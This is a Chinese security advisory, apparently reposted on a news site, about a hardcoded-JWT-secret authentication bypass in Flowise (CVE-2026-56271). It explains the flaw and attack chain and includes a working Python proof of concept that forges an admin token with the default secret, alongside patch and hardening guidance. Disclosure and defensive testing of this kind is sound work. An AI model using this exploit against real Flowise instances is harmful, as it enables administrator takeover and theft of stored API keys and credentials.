【高危AI漏洞预警】CVE-2026-56271Flowise硬编码JWT密钥认证绕过漏洞"

admin 2026-10-18 13:58:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

【高危AI漏洞预警】CVE-2026-56271 Flowise硬编码JWT密钥认证绕过漏洞

jufeng
jufeng

飓风网络安全

2026年7月13日 16:51
北京

在小说阅读器读本章

去阅读

一、漏洞描述:

Flоԝiѕе在 3.1.0 之前的版本(受影响版本为 3.0.13及更早版本)在企业级护照认证中间件(расkаɡеѕ/ѕеrvеr/ѕrс/еntеrрriѕе/middlеԝаrе/раѕѕроrt/indех.tѕ)中使用弱硬编码默认JWT密钥('аuth\_tоkеn'、'rеfrеѕh\_tоkеn')以及默认受众和发行者值('AUDIENCE'、'ISSUER'),当对应的环境变量(JWT\_AUTH\_TOKEN\_SECRET、JWT\_REFRESH\_TOKEN\_SECRET、JWT\_AUDIENCE、JWT\_ISSUER)未设置时应用程序会静默回退到这些公开已知的默认值,允许攻击者伪造有效的JWT并冒充任何用户包括管理员从而导致身份验证绕过

二、漏洞深度技术分析

2.1 组件背景

Flowise 是当前应用最广泛的开源低代码 AI 工作流构建平台,支持可视化搭建 LLM 应用、Agent、RAG 知识库系统,大量企业用于内部 AI 服务搭建与业务系统集成。其企业版认证中间件(passport模块)负责全平台的身份鉴权,基于 JWT(JSON Web Token)实现用户会话校验,是平台权限体系的核心组件。

2.2 漏洞根因

漏洞的核心成因是认证中间件采用了硬编码默认 JWT 密钥 + 静默回退的不安全设计:

漏洞代码位于 packages/server/src/enterprise/middleware/passport/index.ts 中,开发者在代码内写入了固定的默认值:

访问令牌密钥:auth\_token

刷新令牌密钥:refresh\_token

JWT 受众(audience):AUDIENCE

JWT 签发者(issuer):ISSUER

应用启动时,会优先读取 JWT\_AUTH\_TOKEN\_SECRET、JWT\_REFRESH\_TOKEN\_SECRET 等环境变量;若环境变量未配置,程序不会报错或阻断启动,而是静默回退到上述硬编码的公开默认值。

由于默认密钥随开源代码完全公开,任何攻击者都可以使用该密钥生成符合校验规则的 JWT 令牌,直接通过平台的身份验证,无需爆破、无需遍历账号。

2.3 完整利用链与危害

该漏洞攻击路径极短,无复杂利用条件,完整攻击流程如下:

信息探测:攻击者访问目标 Flowise 服务的 Web 界面或 API 接口,确认服务存活

令牌伪造:使用已知的默认密钥,构造包含管理员身份、超管权限的 JWT Payload,生成合法令牌

认证绕过:将伪造的令牌放入 HTTP 请求的Authorization头中,访问平台管理员接口

权限接管:成功获得超级管理员权限后,攻击者可执行所有高危操作:

查看、修改、删除所有用户与工作流配置

窃取平台配置的所有大模型 API 密钥、数据库凭据、知识库敏感数据

部署恶意工作流,结合工具调用能力实现服务器端代码执行

篡改平台配置,创建后门账号持久化控制

三、影响范围与风险评估

3.1 受影响版本

官方正式版:Flowise 3.0.13 及所有更早版本(3.1.0 版本已修复)

部署形态:源码部署、Docker 部署、一键脚本部署的所有默认配置实例均受影响

触发条件:未显式配置JWT\_AUTH\_TOKEN\_SECRET、JWT\_REFRESH\_TOKEN\_SECRET、JWT\_AUDIENCE、JWT\_ISSUER四个环境变量的部署环境

3.2 风险等级评估

该漏洞综合风险极高,核心原因包括:

攻击门槛为 0:无需任何前置权限、无需用户交互,默认配置即可被利用

影响面广:Flowise 在企业内部 AI、创业团队中部署量极大,多数用户采用默认配置启动

危害程度高:直接获取平台最高权限,结合 Flowise 的工具调用、代码执行能力可进一步渗透内网服务器

检测难度低:攻击者可通过简单的 HTTP 请求快速批量探测公网暴露的脆弱实例

四、漏洞验证 POC(合规授权测试专用)

合规声明

以下代码仅用于已获得书面授权的安全测试、漏洞验证与自检场景,严禁用于任何未授权的网络访问、攻击行为。使用者需严格遵守《网络安全法》《刑法》等相关法律法规,自行承担所有法律责任。

验证型 POC 脚本

该脚本用于验证目标 Flowise 实例是否存在漏洞,逻辑为使用默认密钥伪造管理员 JWT,调用用户信息接口判断是否成功绕过认证:

import jwt

import requests

import argparse

from datetime import datetime, timedelta

def generate\_admin\_jwt(default\_secret=\"auth\_token\"):

# 构造管理员身份的JWT载荷,匹配Flowise校验字段

payload = {

\"userId\": \"default-admin-id\",

\"username\": \"admin\",

\"role\": \"ADMIN\",

\"iss\": \"ISSUER\",

\"aud\": \"AUDIENCE\",

\"iat\": datetime.utcnow(),

\"exp\": datetime.utcnow() + timedelta(hours=24)

}

# 使用默认硬编码密钥生成HS256算法的JWT

token = jwt.encode(payload, default\_secret, algorithm=\"HS256\")

return token

def verify\_vulnerability(target\_url):

if not target\_url.startswith(\"http\"):

target\_url = f\"http://{target\_url}\"

target\_url = target\_url.rstrip(\"/\")

admin\_token = generate\_admin\_jwt()

headers = {

\"Authorization\": f\"Bearer {admin\_token}\",

\"User-Agent\": \"Mozilla/5.0 Vulnerability Check\"

}

try:

# 调用当前用户信息接口,验证令牌有效性

resp = requests.get(

f\"{target\_url}/api/v1/users/me\",

headers=headers,

timeout=10,

verify=False

)

if resp.status\_code == 200 and \"role\" in resp.text and \"ADMIN\" in resp.text:

print(f\"[+] 目标存在漏洞!成功伪造管理员身份绕过认证\")

print(f\"[+] 返回的管理员信息: {resp.text[:200]}\")

return True

elif resp.status\_code == 401:

print(\"[-] 目标已加固,默认密钥无效,漏洞不存在\")

return False

else:

print(f\"[\*] 访问异常,状态码: {resp.status\_code},响应: {resp.text[:100]}\")

return None

except Exception as e:

print(f\"[-] 连接失败: {str(e)}\")

return None

if \\_name\\ == \"\\main\\_\":

parser = argparse.ArgumentParser(description=\"CVE-2026-56271 漏洞验证工具(仅授权测试使用)\")

parser.add\_argument(\"target\", help=\"目标Flowise地址,例如 http://127.0.0.1:3000\")

args = parser.parse\_args()

print(\"CVE-2026-56271 Flowise JWT默认密钥漏洞验证工具\")

print(\"警告:仅可在已获得授权的环境中使用,禁止非法测试\
\")

verify\_vulnerability(args.target)

POC 使用说明

运行前需安装依赖:pip install pyjwt requests

执行命令:python cve\_2026\_56271\_poc.py <目标Flowise服务地址>

若返回 “成功伪造管理员身份绕过认证”,说明目标使用默认配置,存在该漏洞

仅可用于自有资产或授权环境的自检,禁止对公网未授权资产扫描

五、修复方案与缓解措施

5.1 官方补丁修复(首选方案)

Flowise 官方已在 3.1.0 版本中修复该漏洞,修复逻辑为移除硬编码默认值,环境变量缺失时直接阻断认证模块启动,强制用户配置自定义密钥。

所有受影响实例建议立即升级至 Flowise 3.1.0 及以上稳定版本

Docker 部署可直接拉取最新镜像:docker pull flowiseai/flowise:latest

源码部署可通过 Git 拉取最新主分支代码重新构建部署

5.2 临时加固措施(无法立即升级时使用)

若暂时无法完成版本升级,可通过手动配置环境变量彻底阻断漏洞利用,操作如下:

在部署环境的变量配置中新增以下 4 个参数,值为高强度随机字符串(建议 32 位以上,包含大小写、数字、特殊字符):

env

JWT\_AUTH\_TOKEN\_SECRET=你的自定义高强度访问令牌密钥

JWT\_REFRESH\_TOKEN\_SECRET=你的自定义高强度刷新令牌密钥

JWT\_AUDIENCE=你的自定义受众标识

JWT\_ISSUER=你的自定义签发者标识

重启 Flowise 服务使配置生效

重启后使用上述 POC 脚本验证,确认返回 401 则加固生效

5.3 边界防护补充

对公网暴露的 Flowise 服务,增加反向代理访问控制,仅允许可信 IP 访问管理后台与 API 接口

在 WAF 中添加规则,拦截携带异常 JWT 头、非业务签发的访问请求

对平台内已配置的大模型 API 密钥、数据库凭据进行轮换,避免已泄露的凭据造成次生风险

六、应急处置优先级建议

最高优先级:公网开放、默认配置部署的 Flowise 生产实例,立即执行环境变量加固或版本升级,同时排查是否存在异常访问与后门账号

高优先级:企业内部部署、包含敏感业务数据与 API 密钥的 Flowise 实例,72 小时内完成修复与凭据轮换

中优先级:个人测试、开发环境的 Flowise 实例,在下次迭代更新时同步修复

修复完成后,建议全量审计平台的操作日志,确认漏洞披露后是否存在未授权访问行为


CopilotCowork使用说明" 网络安全文章

CopilotCowork使用说明"

本文介绍了微软Copilot中执行型AI助手Cowork的功能与计费。Cowork可直接在M365生态中执行发邮件、建会议及生成文档等操作,过程透明可控。使用需商业版许可及租户在Azure开通点数计费,实测单任务成本约12元且三万点数起购。文末含账号售卖引导,属推广软文。
PDF和Word转PPT,三分钟自动排版配图" 网络安全文章

PDF和Word转PPT,三分钟自动排版配图"

本文介绍PPTCopilot工具,可将PDF和Word文档一键转换为PPT,自动排版配图,支持多种风格,节省时间。核心功能包括文档转换、品牌排版、AI配图等。操作简单,上传文档即可生成。建议用户使用微软原生Copilot提高效率。
Copilot一键自动生成完整视频" 网络安全文章

Copilot一键自动生成完整视频"

本文介绍微软Copilot与Clipchamp集成的AI视频生成功能,用户输入一句话即可全自动生成视频,无需剪辑基础。该功能支持办公教程、企业培训、产品介绍等场景,操作简单,3分钟出片,素材和音乐商用免费,适配职场风格。
评论:0   参与:  0